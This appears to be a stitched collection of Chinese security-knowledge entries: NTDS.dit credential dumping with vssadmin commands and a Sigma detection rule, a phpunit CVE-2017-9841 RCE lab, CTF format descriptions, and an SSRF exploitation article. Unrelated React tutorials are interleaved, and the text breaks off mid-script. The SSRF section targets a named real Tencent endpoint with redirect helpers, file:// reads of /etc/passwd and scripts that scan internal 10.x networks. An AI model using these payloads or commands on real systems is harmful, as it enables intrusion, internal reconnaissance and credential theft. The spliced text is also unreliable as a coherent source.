# T1003-003-windows-基于NTDS凭证获取1 ## 来自ATT&CK的描述 攻击者可能试图访问或创建Active Directory域数据库的副本,以便窃取凭据信息,以及获取有关域成员(例如设备,用户和访问权限)的其他信息。默认情况下,NTDS文件(NTDS.dit)位于%SystemRoot%\NTDS\Ntds.dit域控制器中。 除了在活动的域控制器上查找NTDS文件之外,攻击者还可能搜索包含相同或相似信息的备份。 下列工具和技术可用于枚举NTDS文件和整个Active Directory哈希的内容。 - 卷影复制 - secretsdump.py - 使用内置的Windows工具ntdsutil.exe - 调用卷影副本 ### NTDS.dit Ntds.dit文件是存储Active Directory数据的数据库,包括有关用户对象,组和组成员身份的信息。它包括域中所有用户的密码哈希值。域控制器(DC)上的ntds.dit文件只能由可以登录到DC的用户访问。很明显,保护这个文件至关重要,因为攻击者访问这个文件会导致整个域沦陷。 **默认情况下,NTDS文件将位于域控制器的%SystemRoot%\NTDS\Ntds.dit中。** 但通常存储在其他逻辑驱动器上)。AD数据库是一个Jet数据库引擎,它使用可扩展存储引擎(ESE)提供数据存储和索引服务。通过ESE级别索引,可以快速定位对象属性。 ## 测试案例 通过提取这些哈希值,可以使用诸如[Mimikatz之类的](https://github.com/gentilkiwi/mimikatz)工具来执行传递哈希攻击,或者使用像[Hashcat](https://hashcat.net/hashcat/)这样的工具来破解这些密码。这些密码的提取和破解可以离线执行,因此无法检测到。一旦攻击者提取了这些哈希值,他们就可以充当域中的任何用户,包括域管理员。 可以使用以下工具和技术枚举NTDS文件和整个Active Directory哈希的内容: - 使用 NTDSUtil 创建 IFM 抓取 DC 本地的 Ntds.dit 文件。 - 使用 VSS 卷影复制远程读取 Ntds.dit。 - 使用 PowerSploit 的 Invoke-NinjaCopy 远程读取 Ntds.dit(需要目标 DC 启用 PowerShell 远程管理)。 - 在 DC 中使用 Mimikatz 转储 Active Directory 凭据。 - 在 DC 中使用 Invoke-Mimikatz 转储 Active Directory 凭据。 - 使用 Invoke-Mimikatz 远程转储 Active Directory 凭据。 - 使用 Mimikatz 的 DCSync 功能远程转储 Active Directory 凭据。 **注意:如果已经发现了 Active Directory 数据库(NTDS.DIT)的副本,那么攻击者无需提升权限即可从中转储凭据。** **谁可以访问?** ```1 Enterprise Admins (目录林管理员组) Domain Admins(域管理员组) Administrators(管理员组) Backup Operators(备份操作成员) Account Operators(账户管理组) Print Operators(打印机操作组) ``` ## 检测日志 windows sysmon日志 Invoke-NinjaCopy -Path “c:\windows\ntds\ntds.dit” -LocalDestination “c:\windows\temp\ntds.dit“ ## 测试复现 一旦我们获得了域管理访问权,从 DC 中提取所有哈希的老方法就是在域控制器上运行命令,并使用 Shadow Volume 或原始拷贝技术提取 ntds.dit 文件。 磁盘卷影复制技术 由于我们确实可以访问文件系统,并且可以作为攻击者在域控制器上运行命令,因此我们希望获取存储在 ntds.dit 文件中的所有域内哈希。不幸的是,该文件不断地被读和写,即使作为系统,我们也无法读取或复制该文件。幸运的是,我们可以利用名为 Volume Shadow Copy Service 磁盘复制服务(VSS)的 Windows 功能,该功能将创建磁盘的快照副本。然后我们可以从该副本中读取 Ntds.dit 文件将其获取出来。并将其从计算机上取消,这包括窃取 Ntds.dit、System、SAM 和 Boot Key 文件。最后,我们需要清理我们的行踪并删除磁盘拷贝: ```dos - C:\vssadmin create shadow /for=C: - copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SYSTEM - copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\system32\config\SAM - copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows\ntds\ntds.dit - reg SAVE HKLM\SYSTEM c:\SYS - vssadmin list shadows - vssadmin delete shadows /for= [/oldest | /all | /shadow=] ``` ## 测试留痕 windows sysmon日志 进程创建、命令行参数 ## 检测规则/思路 ### sigma规则 ```yml title: VSS卷影复制本地读取Ntds.dit文件(域控主机操作,也适用于VSS卷影复制远程读取Ntds.dit文件) description: windows server 2008 模拟测试结果 references: https://1sparrow.com/2018/02/19/域渗透相关/ tags: T1003-003 status: experimental author: 12306Bro logsource: product: windows service: sysmon detection: selection1: EventID: 1 # 进程创建 Image: 'C:\Windows\System32\vssadmin.exe' CommandLine: 'VSSADMIN.EXE' CurrentDirectory: 'vssadmin create shadow /for=C:' selection2: EventID: 1 Image: 'C:\Windows\System32\reg.exe' CommandLine: 'reg.exe' CurrentDirectory: 'reg SAVE HKLM\SYSTEM *' selection3: EventID: 1 # 进程创建 Image: 'C:\Windows\System32\vssadmin.exe' CommandLine: 'VSSADMIN.EXE' CurrentDirectory: 'vssadmin delete shadows /all' condition: selection1 or selection2 or selection3 level: medium ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1003-003 <https://attack.mitre.org/techniques/T1003/003> 从活动目录中获取域管理员权限的6种方法 <https://www.4hou.com/technology/4256.html> 如何巧妙的从ntds.dit中提取Hash和域信息 <https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E8%8E%B7%E5%BE%97%E5%9F%9F%E6%8E%A7%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84NTDS.dit%E6%96%87%E4%BB%B6/> 域渗透——获得域控服务器的NTDS.dit文件 <https://xz.aliyun.com/t/2187> 从NTDS.dit获取密码hash的三种方法 <https://www.freebuf.com/sectool/176876.html> 从NTDS.dit文件中提取密码哈希值 <https://blog.stealthbits.com/extracting-password-hashes-from-the-ntds-dit-file/> 攻击者如何转储AD数据库凭据 <https://adsecurity.org/?p=2398> 在AD中获得域管理员权限的攻击方法 <https://adsecurity.org/?p=2362> **强力推荐** 转储活动目录数据库方法总结 <http://ju.outofmemory.cn/entry/232676> powershell开启远程管理的方法请参考 <https://blog.51cto.com/1163739403/1826546> 卷影复制NTDS.dit域散列远程-第1部分 <https://room362.com/post/2013/2013-06-10-volume-shadow-copy-ntdsdit-domain-hashes-remotely-part-1/> 从NTDS.dit文件获取哈希 <https://www.swordshield.com/blog/getting-hashes-from-ntds-dit-file/> 转储活动目录数据库凭证的方法总结 <https://blog.csdn.net/weixin_33713707/article/details/87980463>
sec-knowleage
# React-transition-group > React 过渡动画插件 react-transition-group 插件是 React 的 Animation Add-Ons(ReactTransitionGroup 和 ReactCSSTransitionGroup)拆分出来的插件,是 React 动画库的重要组成部分 ### 装包 ``` npm install react-transition-group --save ``` ### 使用 > 根据组件内部 state 的改变来触发组件的动画处理 #### 导入 首先导入使用的 Components ,这里我们使用 CSSTransitionGroup ```js import { CSSTransitionGroup } from 'react-transition-group' ``` #### 创建 state 创建一个空的 item 状态来添加出现的动画组件 ```js constructor(){ super() this.state = { item: [{name:'yu'}] } } ``` #### 添加 CSS ```css /* react-transition-group custom */ .example-enter { opacity: 0.01; } .example-enter.example-enter-active { opacity: 1; transition: opacity 500ms ease-in; } .example-leave { opacity: 1; } .example-leave.example-leave-active { opacity: 0.01; transition: opacity 300ms ease-in; } ``` #### 添加动画需要的组件 给需要触发动画的 Dom 添加并监听事件,添加动画组件`<CSSTransitionGroup>`,使其点击`<button>`按钮添加 `items` 插件 ```js import React from 'react' import { CSSTransitionGroup } from 'react-transition-group' class Comcard extends React.Component { constructor(){ super() this.state = { item: [{name:'yu'}] } } handleClick = () => { let newItems = this.state.item.slice() newItems.push({ name: 'liu' }) this.setState({ item: newItems }) } render(){ const items = this.state.item.map( (item,i) => ( <div key={i}>{item.name}</div> )) return( <div className="comcard"> <CSSTransitionGroup transitionName="example" transitionEnterTimeout={500} transitionLeaveTimeout={300}> {items} </CSSTransitionGroup> <button onClick={this.handleClick}>点击</button> </div> ) } } export default Comcard ``` - 参考代码:[Github仓库](https://github.com/l552177239/react-recharts) ### 参考 - 文档说明:[点击查看](https://reactcommunity.org/react-transition-group/) - React官网:[点击查看](https://facebook.github.io/react/docs/animation.html) - Github项目:[点击查看](https://github.com/liangklfangl/react-animation-demo)
sec-knowleage
### CTF 竞赛解题模式 - Jeopardy 解题模式(Jeopardy)常见于线上选拔比赛。在解题模式 CTF 赛制中,参赛队伍可以通过互联网或者现场网络参与,参数队伍通过与在线环境交互或文件离线分析,解决网络安全技术挑战获取相应分值,类似于 ACM 编程竞赛、信息学奥林匹克赛,根据总分和时间来进行排名。 不同的是这个解题模式一般会设置 **一血** 、 **二血** 、 **三血** ,也即最先完成的前三支队伍会获得额外分值,所以这不仅是对首先解出题目的队伍的分值鼓励,也是一种团队能力的间接体现。 当然还有一种流行的计分规则是设置每道题目的初始分数后,根据该题的成功解答队伍数,来逐渐降低该题的分值,也就是说如果解答这道题的人数越多,那么这道题的分值就越低。最后会下降到一个保底分值后便不再下降。 题目类型主要包含 **Web 网络攻防** 、 **RE 逆向工程** 、 **Pwn 二进制漏洞利用** 、 **Crypto 密码攻击** 、 **Mobile 移动安全** 以及 **Misc 安全杂项** 这六个类别。 ### CTF 竞赛战争分享模式 - Belluminar 在 2016 年世界黑客大师挑战赛(WCTF)国内首次引入韩国 POC SECURITY 团队开创的 BELLUMINAR CTF (战争与分享)赛制,从此中国国内陆陆续续也有开始 BELLUMINAR 模式的比赛,目前采取这一赛制的有 2016 年诸葛建伟老师集合的 XMan 夏令营分享赛以及同年 9 月的「百度杯」CTF 比赛。 同时这里也有 BELLUMINAR 赛制的介绍官网: <http://belluminar.org/> ### CTF 竞赛战争分享模式赛制介绍 > Belluminar, hacking contest of POC, started at POC2015 in KOREA for the first time. Belluminar is from 'Bellum'(war in Latin) and 'seminar'. It is not a just hacking contest but a kind of > festival consisted of CTF & seminar for the solution about challenges. Only invited teams can join Belluminar. Each team can show its ability to attack what other teams want to protect and can > defend what others want to attack. 如官网介绍这样,BELLUMINAR CTF 赛制由受邀参赛队伍相互出题挑战,并在比赛结束后分享赛题的出题思路,学习过程以及解题思路等。战队评分依据出题得分,解题得分和分享得分,进行综合评价并得出最终的排名。 ### CTF 竞赛战争分享模式出题阶段 > 每个队伍需要提出两个Challenge到challenge题库 首先各个受邀参赛队伍都必须在正式比赛前出 2 道Challange。参赛队伍将有 12 周的时间准备Challenge。出Challenge的积分占总分的 30%。 > Challenge 1: must be on the Linux platform; > > Challenge 2: No platform restriction(except Linux) No challenge type restriction (Pwn, Reverse...) 传统的 BELLUMINAR 赛制要求出的两道Challenge中一道 Challenge 必须是在 Linux 平台,另外一个Challenge则为非 Linux 平台。两个 Challenge 的类型没有做出限制。因此队伍可以尽情展现自己的技术水平。 为使比赛Challenge类型比较均衡,也有采用队伍抽签出Challenge的方式抽取自己的Challenge,这要求队伍能力水平更为全面,因此为了不失平衡性,也会将两道 Challenge 的计入不同分值(比如要求其中一道 Challenge 分值为 200,而另外一道分值则为 100)。 ### CTF 竞赛战争分享模式提交部署 题目提交截止之前,各个队伍需要提交完整的文档以及解题 Writeup,文档中要求详细标明题目分值,题面,出题负责人,考察知识点列表以及题目源码。而解题 Writeup中则需要包含操作环境,完整解题过程以及解题代码。 题目提交之后主办方会对题目和解题代码进行测试,如果期间出现问题则需要该题负责人配合以解决问题。最终放到比赛平台上。 ### CTF 竞赛战争分享模式解题竞技 进入比赛后,各支队伍可以看到所有其他团队出的题目并发起挑战,但是不能解答本队出的题目,不设 First Blood 奖励,根据解题积分进行排名。解题积分占总分的 60%。 ### CTF 竞赛战争分享模式分享讨论 比赛结束后,队伍休息,并准备制作分享 PPT(也可以在出题阶段准备好)。分享会时,各队派 2 名队员上台分享出题解题思路,学习过程以及考察知识点等。在演示结束后进入互动讨论环节,解说代表需要回答评委和其他选手提出的问题。解说没有太多的时间限制,但是时间用量是评分的一个标准。 ### CTF 竞赛战争分享模式计分规则 出题积分(占总分 30%)有 50% 由评委根据题目提交的详细程度,完整度,提交时间等进评分,另外 50% 则根据比赛结束后的最终解题情况进行评分。计分公式示例: Score = MaxScore -- | N -- Expect_N | 。N代表解出该题的队伍数量,而 Expect_N 则是这道题预期解出的题目数量。只有当题目难度适中,解题队伍数量越接近预期数量 Expect_N,则这道题的出题队伍得到的出题积分越高。 解题积分(占总积分 60%)在计算时不考虑 First Blood 奖励。 分享积分(占 10%)由评委和其他队伍根据其技术分享内容进行评分得出(考虑分享时间以及其他限制),会计算平均值。 ### CTF 竞赛战争分享模式赛制总评 赛制中将 Challenge 的出题方交由受邀战队,让战队能尽自己所能互相出题,比赛难度和范围不会被主办方水平限制,同时也能提高 Challenge 的质量,每个战队都能有不一样的体验与提升。在"分享"环节,对本队题目进行讲解的同时也在提高自己的能力水平,在讨论回答的过程更是一种思维互动的环节。可以在赛后的学习总结中能得到更好的认知。 ### CTF 竞赛战争攻防模式 - Attack & Defense概述 攻防模式常见于线下决赛。在攻防模式中,初始时刻,所有参赛队伍拥有相同的系统环境(包含若干服务,可能位于不同的机器上),常称为 gamebox,参赛队伍挖掘网络服务漏洞并攻击对手服务获取 flag 来得分,修补自身服务漏洞进行防御从而防止扣分(一般来说防御只能避免丢分,当然有的比赛在防御上可以得分)。 攻防模式可以实时通过得分反映出比赛情况,最终也以得分直接分出胜负,是一种竞争激烈,具有很强观赏性和高度透明性的网络安全赛制。在这种赛制中,不仅仅是比参赛队员的智力和技术,也比体力(因为比赛一般都会持续 48 小时),同时也比团队之间的分工配合与合作。 一般比赛的具体环境会在开赛前一天或者当天开赛前半小时由比赛主办方给出(是一份几页的小文档)。在这一段时间内,你需要根据主办方提供的文档熟悉环境并做好防御。 在比赛开始前半小时,这半小时内是无法进行攻击的,各支队伍都会加紧熟悉比赛网络环境,并做好防御准备。至于敌方 Gamebox 的 IP 地址,则需要靠你自己在给出网段中发现。 如果是分为上午下午两场攻防赛的话,那么上午和下午的 Gamebox 漏洞服务会更换(避免比赛中途休息时选手交流),但管理时要用的 IP 地址什么的不会改变。也就是 **下午会换新题** 。 一般情况下,主办方会提供网线,**但并不会提供网线转接口,所以需要自备。** ### CTF 竞赛战争攻防模式 - Attack & Defense基本规则 攻防模式一般的规则如下 - 战队初始分数均为 x 分 - 比赛以 5/10 分钟为一个回合,每回合主办方会更新已放出服务的 Flag - 每回合内,一个战队的一个服务被渗透攻击成功(被拿 Flag 并提交),则扣除一定分数,攻击成功的战队平分这些分数。 - 每回合内,如果战队能够维护自己的服务正常运行,则分数不会减少(如果防御成功加分则会加分); - 如果一个服务宕机或异常无法通过测试,则可能会扣分,服务正常的战队平分这些分。往往服务异常会扣除较多的分数。 - 如果该回合内所有战队的服务都异常,则认为是不可抗拒因素造成,分数都不减少。 - 每回合内,服务异常和被拿 Flag 可以同时发生,即战队在一个回合内单个服务可能会扣除两者叠加的分数。 - 禁止队伍使用通用防御方法 - 请参赛队伍在比赛开始时对所有服务进行备份,若因自身原因导致服务永久损坏或丢失,无法恢复,主办方不提供重置服务 - 禁止对赛题以外的比赛平台发起攻击,包括但不限于在 gamebox 提权 root、利用主办方平台漏洞等,违规者立刻被取消参赛资格 - 参赛队伍如果发现其他队伍存在违规行为,请立刻举报,我们会严格审核并作出相应判罚。 ### CTF 竞赛战争攻防模式 - Attack & Defense网络环境 文档上一般都会有比赛环境的 **网络拓扑图** (如下图),每支队伍会维护若干的 **Gamebox(己方服务器)** ,Gamebox 上部署有存在漏洞的服务。 文档上会包括选手,攻防环境,主办方三者的环境。 选手需要在个人电脑上配置或者 DHCP 自动获取 - IP 地址 - 网关 - 掩码DNS 服务器地址 攻防环境 - Gamebox 所处地址,包括己方和其他队伍的地址。 - 比赛一般会提供队伍的 id 与对应 ip 的映射表,以便于让选手指定恰当的攻防策略。 主办方环境 - 比赛答题平台 - 提交 flag 接口 - 流量访问接口 ### CTF 竞赛战争攻防模式 - Attack & Defense访问 Gamebox 参赛文档中会给出队伍登录 gamebox 的方式,一般来说如下 - 用户名为 ctf - 一般会通过 ssh 登录,登录方式为密码或者私钥。 自然,在登录上战队机器后应该修改所有的默认密码,同时不应该设置弱密码。
sec-knowleage
# phpunit 远程代码执行漏洞(CVE-2017-9841) composer是php包管理工具,使用composer安装扩展包将会在当前目录创建一个vendor文件夹,并将所有文件放在其中。通常这个目录需要放在web目录外,使用户不能直接访问。 phpunit是php中的单元测试工具,其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的`vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`文件有如下代码: ```php eval('?>'.file_get_contents('php://input')); ``` 如果该文件被用户直接访问到,将造成远程代码执行漏洞。 参考链接: - http://web.archive.org/web/20170701212357/http://phpunit.vulnbusters.com/ - https://www.ovh.com/blog/cve-2017-9841-what-is-it-and-how-do-we-protect-our-customers/ ## 漏洞环境 执行如下命令启动一个php环境,其中phpunit被安装在web目录下。 ``` docker compose build docker compose up -d ``` web环境将启动在`http://your-ip:8080`。 ## 漏洞复现 直接将PHP代码作为POST Body发送给`http://your-ip:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`: ![](1.png)
sec-knowleage
## 表单 诸如`<input>`、`<textarea>`和`<option>`的表单组件与其它原生(native)组件不同,因为它们可以通过用户交互而被改变。这些组件提供的接口使得管理表单对用户交互的响应更加容易。 ### 传统表单事件 **传统表单的提交** ```html <form action='https://www.baidu.com' method='GET'> //action表单提交的地址 //method表单提交的方式(GET比较小的数据提交,POST比较保密的提交) <input type="text" name="hello" placeholder="输入内容"> <button>提交</button> //button作为提交按钮使用 </form> ``` **表单的事件** - `onSubimit`(表单提交) - `onChange`(域的内容改变) - `onInput`(输入框内容的改变) - `onBlur`(失去焦点)//焦点事件 - `onFocus`(获得焦点)//焦点事件 **`input`的`type`属性** 值 | 描述 ------------ | ---------------------------------------------------------- button | 定义可点击按钮(多数情况下,用于通过 JavaScript 启动脚本) checkbox | 定义复选框 file | 定义输入字段和 "浏览"按钮,供文件上传 hidden | 定义隐藏的输入字段 image | 定义图像形式的提交按钮 password | 定义密码字段。该字段中的字符被掩码 radio | 定义单选按钮 reset | 定义重置按钮。重置按钮会清除表单中的所有数据 submit | 定义提交按钮。提交按钮会把表单数据发送到服务器 text | 定义单行的输入字段,用户可在其中输入文本。默认宽度为 20 个字符 email | 定义邮箱 **表单重置** ``` import React from 'react' class App extends React.Component { handleSubmit(e){ e.preventDefault() //preventDefault 阻止跳转方法 document.getElementById('form').reset() } render() { return ( <div className="app"> <form action='https://www.baidu.com' method='GET' id='form' onSubmit={this.handleSubmit.bind(this)}> <input type="text" name="hello" placeholder="输入内容" /> <button>提交</button> <button type='reset'>重置</button> //重置按钮 </form> </div> ) } } export default App ``` **小贴士**:`reset()`方法可把表单中的元素重置为它们的默认值 ### 受控组件 **非受控组件** ``` import React from 'react' class App extends React.Component { render() { return ( <div className="app"> <input type="text" placeholder="输入内容" value='123' /> </form> </div> ) } } export default App ``` 一个没有`value`属性的`<input>`就是一个非受控组件。通过渲染的元素,任意的用户输入都会被立即反映出来。非受控的`<input>`只能通过`OnChange`函数来向上层通知自己被用户输入的更改。 可以用`ref`来拿到 输入的 value 值 ``` <input ref={value => this.username = value} /> //this.username.value 拿到输入的值 ``` **注意**:使用`value`代替`defaultValue`,会发现输入框的值无法改变 **受控组件** 表单的`value`值收到`state`的控制 ``` import React from 'react' class App extends React.Component { constructor(){ super() this.handleChange = this.handleChange.bind(this) this.state = { input:'' } } handleSubmit(e){ e.preventDefault() let {input} = this.state } handleChange(e){ this.setState({ input:e.target.value //触发事件目标对象的value }) } render() { return ( <div className="app"> <form onSubmit={this.handleSubmit.bind(this)}> <input value={this.state.input} onChange={this.handleChange} /> <button>提交</button> </form> </div> ) } } export default App ``` **表单的`select`,`textarea`输入** ``` import React from 'react' class App extends React.Component { constructor(){ super() this.state = { textarea:'', fruits:'banana' } } handleSubmit(e){ e.preventDefault() let {textarea,fruits} = this.state console.log(textarea,fruits) } render() { return ( <div className="app"> <form onSubmit={this.handleSubmit.bind(this)}> <textarea cols="30" rows="10" value={this.state.textarea} onChange={e => this.setState({textarea:e.target.value})}></textarea><br/> <select value={this.state.fruits} onChange={e => this.setState({fruits:e.target.value})}> <option value="apple">苹果</option> <option value="orange">橘子</option> <option value="banana">香蕉</option> //默认值通过state控制,使用selected会被警告 </select><br/> <button type='submit'>提交</button> </form> </div> ) } } export default App ``` **表单的`radio`输入** ``` import React from 'react' class App extends React.Component { constructor(){ super() this.state = { sex:'male' } } handleSubmit(e){ e.preventDefault() let obj = this.state console.log(obj) } handleChange(e){ this.setState({ input:e.target.value }) } render() { return ( <div className="app"> <form onSubmit={this.handleSubmit.bind(this)}> 男<input type="radio" name='sex' value='male' onChange={e => this.setState({sex:e.target.value})}/> 女<input type="radio" name='sex' value='female' onChange={e => this.setState({sex:e.target.value})}/><br/> <button type='submit'>提交</button> </form> </div> ) } } export default App ``` 表单的`radio`通过受控组件来控制`checked`的状态改变来修改,这种方法比较麻烦,所以我们用 **非受控组件** 来写表单的`radio`事件 ``` import React from 'react' class App extends React.Component { constructor(){ super() this.state = { sex:'male' } } handleSubmit(e){ e.preventDefault() let obj = this.state console.log(obj) } handleChange(e){ this.setState({ input:e.target.value }) } render() { return ( <div className="app"> <form onSubmit={this.handleSubmit.bind(this)}> 男<input type="radio" name='sex' value='male' checked={this.state.sex === 'male' ? true : false} onChange={e => this.setState({sex:e.target.value})}/> 女<input type="radio" name='sex' value='female' checked={this.state.sex === 'female' ? true : false} onChange={e => this.setState({sex:e.target.value})}/><br/> <button type='submit'>提交</button> </form> </div> ) } } export default App ``` **表单的`checnkbox`输入** ``` import React from 'react' class App extends React.Component { constructor(){ super() this.state = { agree:true } } handleSubmit(e){ e.preventDefault() let obj = this.state console.log(obj) } handleChange(e){ this.setState({ input:e.target.value }) } render() { return ( <div className="app"> <form onSubmit={this.handleSubmit.bind(this)}> 我已阅读并同意<input type="checkbox" value='agree' onChange={e =>this.setState({agree:!this.state.agree})}/><br/> <button type='submit'>提交</button> </form> </div> ) } } export default App ``` `checnkbox`的多选 ``` import React from 'react' class App extends React.Component { constructor(){ super() this.handleCheck = this.handleCheck.bind(this) this.state = { hobby:[] } } handleSubmit(e){ e.preventDefault() let obj = this.state console.log(obj) } handleChange(e){ this.setState({ input:e.target.value }) } handleCheck(e){ let hobby = this.state.hobby let value = e.target.value let index = hobby.indexOf(value) console.log(index) if(index === -1){ hobby.push(value) }else{ hobby.splice(index,1) } this.setState({hobby}) } render() { return ( <div className="app"> <form onSubmit={this.handleSubmit.bind(this)}> 兴趣爱好:<br/> 篮球<input type="checkbox" value='basketball' onChange={this.handleCheck}/><br/> 足球<input type="checkbox" value='football' onChange={this.handleCheck}/><br/> 排球<input type="checkbox" value='paiqiu' onChange={this.handleCheck}/><br/> 台球<input type="checkbox" value='taiqiu' onChange={this.handleCheck}/><br/> <button type='submit'>提交</button> </form> </div> ) } } export default App ``` **表单的重置**:通过设置`state`为空来重置表单 ``` import React from 'react' class App extends React.Component { constructor(){ super() this.state = { input:'' } } handleSubmit(e){ e.preventDefault() let obj = this.state console.log(obj) } handleReset(){ this.setState({ input:'' }) } render() { return ( <div className="app"> <form onSubmit={this.handleSubmit.bind(this)} onReset={this.handleReset.bind(this)}> <input type="text" value={this.state.input} onChange={e => this.setState({input:e.target.value})} /> <button type='submit'>提交</button> <button type='reset'>重置</button> </form> </div> ) } } export default App ``` **处理多个输入** ``` import React from 'react' class Input extends React.Component { constructor(){ super() this.state = { textarea:'', fruits:'banana' } } handleChange(type,e){ this.setState({ [type]:e.target.value }) } render() { return ( <div> <textarea cols="30" rows="10" value={this.state.textarea} onChange={this.handleChange.bind(this,'textarea')}> </textarea><br/> <select value={this.state.fruits} onChange={this.handleChange.bind(this,'fruits')}> <option value="apple">苹果</option> <option value="orange">橘子</option> <option value="banana">香蕉</option> </select><br/> <button onClick={() => console.log(this.state)}>提交</button> </div> ) } } export default Input ``` 注意:传入的`type`参数与对应`state`的名字 ### 混合组件的优点 1. 支持传入默认值; 2. 可控:组件外部修改`props`可改变`input`组件的真实值及显示值; 3. 非可控:输入框中输入值,可同时改变`input`组件的真实值及显示值。
sec-knowleage
原文 by ringzero ## 1. 描述 本文章将概述一些经典的SSRF漏洞利用原理,从Fuzz扫描开放的服务到漏洞的自动化利用,刚好腾讯的这个漏洞点,非常适合做为案例来演示。 ### 1.1 漏洞信息 腾讯微博应用 http://share.v.t.qq.com SSRF利用点,参数: url http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://wuyun.org ### 1.2 服务端回显 当从ssrf利用点发起一个远程请求,如果url资源存在,且MIME类型为HTML,服务端的脚本会分析出HTML页面内的title、img 等等资源,返回给客户端。如果MIME是其它类型,将直接返回原文 #### 例1 请求远程服务器的22端口,直接回显OpenSSH的banner信息 ``` [root@localhost wyssrf]# curl 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://fuzz.wuyun.org:22' {"ret":0,"data":{"type":1,"title":"SSH-2.0-OpenSSH_5.3..."}} ``` #### 例2 请求远程服务器的80端口,回显HEAD和图片资源 ``` [root@localhost wyssrf]# curl 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://www.baidu.com' {"ret":0,"data":{"type":2,"pics":["http:\/\/www.baidu.com\/img\/baidu_sylogo1.gif"],"title":"\u767e\u5ea6\u4e00\ \u4e0b\uff0c\u4f60\u5c31\u77e5\u9053"}} ``` #### 例3 请求不存在的服务器或未开放的端口 ``` [root@localhost wyssrf]# curl 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://fuzz.wuyun.org:8888' {"ret":1} ``` ### 1.3 利用场景 假设 victimsite/index.php 是这样实现的:代码中使用curl请求参数url对应的资源,跟随跳转并返回给客户端 ``` php <?php $url = $_GET['url']; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.1 Safari/537.11'); // 允许302跳转 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $res = curl_exec($ch); // 设置content-type header('Content-Type: image/png'); curl_close($ch) ; //返回响应 echo $res; ?> ``` Location 302跳转辅助脚本 [302.php] ``` php <?php $ip = $_GET['ip']; $port = $_GET['port']; $scheme = $_GET['s']; $data = $_GET['data']; header("Location: $scheme://$ip:$port/$data"); ?> ``` ### 1.4 服务端支持协议 #### Dict协议 -> dict://fuzz.wuyun.org:8080/helo:dict `victimsite/index.php?url=attacksite/302.php?s=dict&ip=fuzz.wuyun.org&port=8080&data=helo:dict` ``` [root@(fuzz.wuyun.org)localhost wyssrf]# nc -l -vv 8080 Connection from 113.108.10.15 port 8080 [tcp/webcache] accepted CLIENT libcurl 7.15.1 helo dict QUIT ``` #### Gopher协议 -> gopher://fuzz.wuyun.org:8080/gopher `victimsite/index.php?url=attacksite/302.php?s=gopher&ip=fuzz.wuyun.org&port=8080&data=gopher` ``` [root@localhost wyssrf]# nc -l -vv 8080 Connection from 113.108.10.16 port 8080 [tcp/webcache] accepted GET /gopher HTTP/1.1 Host: 106.75.199.107:8080 Accept: */* ``` gopher协议: ``` victimsite/index.php?url=gopher%3A%2F%2F106.75.199.107%3A80%2F_GET%2520%2FTst_SsrF.html %2520HTTP%2F1.1%250d%250aHost%3A%2520106.75.199.107%250d%250aConnection%3A%2520close%250d%250a Content-Length%3A%25200%250d%250a%250d%250a%250d%250a ``` 经过测试发现 Gopher 的以下几点局限性: * 大部分 PHP 并不会开启 fopen 的 gopher wrapper * file_get_contents 的 gopher 协议不能 URLencode * file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败 * PHP 的 curl 默认不 follow 302 跳转 * curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用 下图是各种语言对各种协议的支持情况: ![ssrf3](../pictures/ssrf3.jpg) #### File协议 -> file:///etc/passwd 这里需要一个辅助脚本[file.php] ``` php <?php header("Location: file:///etc/passwd"); ?> ``` 服务器请求302跳转,直接读取到服务器本地文件 ``` [root@localhost wyssrf]# curl 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://fuzz.wuyun.org/file.php' {"ret":0,"data":{"type":1,"title":"root:x:0:0:root:\/root:\/bin\/bash bin:x:1:..."}} ``` #### 综上所述得出结论 从回显结果可以判断服务端的curl为低版本的 7.15.1,支持dict,ftp,gopher,dict, file等协议 ``` [root@localhost wyssrf]# curl -V Protocols: tftp ftp telnet dict gopher ldap ldaps http file https ftps scp sftp ``` ## 2. 漏洞利用 鉴于gopher://是一个万金油的服务,这里不对该协议进行利用描述,相关技术大家可以自行Google,本文重点讲解如何探测开放的网络服务和漏洞利用。 ### 2.1 对开放的网络服务进行探测 这个漏洞地址是t.qq.com,腾讯微博的,确定内网地址,只需要开启域名穷举即可,比如: PING demo.t.qq.com (10.133.42.26) ,就大概知道腾讯微博的内网地址 针对固定的10.网络 B段、C段进行遍历探测 ``` python #!/usr/bin/env python # encoding: utf-8 # email: ringzero@0x557.org import requests import time import random port = '80' # fuzz local C for c in xrange(0,255): for d in xrange(0,255): ip = '10.133.{0}.{1}'.format(c,d) payload = 'http://{ip}:{port}/'.format(ip=ip,port=port) url = 'http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url={payload}'.format( payload=payload) # len({"ret":1}) == 9 if len(requests.get(url).content) != 9: print ip, port, 'OPEN', requests.get(url).content ``` 随机针对内网10.网段进行探测 ``` python #!/usr/bin/env python # encoding: utf-8 # email: ringzero@0x557.org import requests import time import random port = '80' # random fuzz local ip while True: ip = '10.{0}.{1}.{2}'.format(random.randint(1, 254),random.randint(1, 254),random.randint(1, 254)) payload = 'http://{ip}:80/'.format(ip=ip) url = 